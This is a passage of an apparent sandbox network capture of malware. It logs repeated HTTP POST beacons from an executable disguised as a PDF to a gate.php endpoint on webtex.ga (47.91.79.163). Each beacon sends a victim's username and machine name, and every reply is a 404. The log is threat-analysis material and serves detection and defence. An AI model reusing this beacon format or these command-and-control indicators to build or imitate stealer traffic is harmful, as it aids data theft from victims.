Dec 3, 2020 10:04:15.813976049 CET	4903	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:15.856977940 CET	4903	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:33 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.3	50021	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:16.076667070 CET	4904	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:16.097709894 CET	4904	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:16.139504910 CET	4905	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:33 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.3	50022	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:16.567527056 CET	4905	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:16.584451914 CET	4906	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:16.627367973 CET	4906	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:33 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.3	50023	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:16.871689081 CET	4907	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:16.891112089 CET	4907	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:16.927499056 CET	4907	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:34 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.3	50024	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:17.160446882 CET	4908	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:17.177095890 CET	4908	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:17.228399038 CET	4909	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:34 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49742	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:40.771995068 CET	131	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:40.788624048 CET	131	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:40.829597950 CET	132	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:58 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.3	50025	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:17.884115934 CET	4909	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:17.901098967 CET	4910	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:17.950229883 CET	4910	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:35 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.3	50026	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:18.181600094 CET	4911	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:18.198190928 CET	4911	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:18.240684986 CET	4911	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:35 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.3	50027	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:19.967293024 CET	4912	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:19.984064102 CET	4912	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:20.027369022 CET	4913	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:37 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.3	50028	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:20.275988102 CET	4914	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:20.292846918 CET	4914	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:20.335599899 CET	4914	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:37 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.3	50029	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:20.550108910 CET	4915	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:20.566878080 CET	4915	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:20.616817951 CET	4915	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:37 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.3	50030	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:20.852617025 CET	4916	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:20.869508982 CET	4917	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:21.067117929 CET	4917	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:38 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.3	50031	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:21.297703028 CET	4918	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:21.314348936 CET	4918	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:21.363495111 CET	4918	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:38 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.3	50032	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:21.576517105 CET	4919	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:21.593246937 CET	4919	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:21.640626907 CET	4920	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:38 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.3	50033	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:21.902507067 CET	4920	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:21.920439959 CET	4921	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:21.955470085 CET	4921	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:39 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.3	50034	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:22.174315929 CET	4922	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:22.190910101 CET	4922	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:22.233496904 CET	4922	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:39 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49743	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:41.097711086 CET	143	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:41.114415884 CET	144	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:41.155303001 CET	144	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:58 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.3	50035	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:22.442214012 CET	4923	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:22.458952904 CET	4923	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:22.546780109 CET	4924	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:39 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.3	50036	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:22.769361973 CET	4924	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:22.786127090 CET	4925	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:22.829092979 CET	4925	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:40 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.3	50037	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:23.028922081 CET	4926	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:23.045603037 CET	4926	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:23.092648029 CET	4926	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:40 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.3	50038	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:23.302681923 CET	4927	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:23.319318056 CET	4927	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:23.366543055 CET	4928	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:40 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.3	50039	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:23.590394974 CET	4929	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
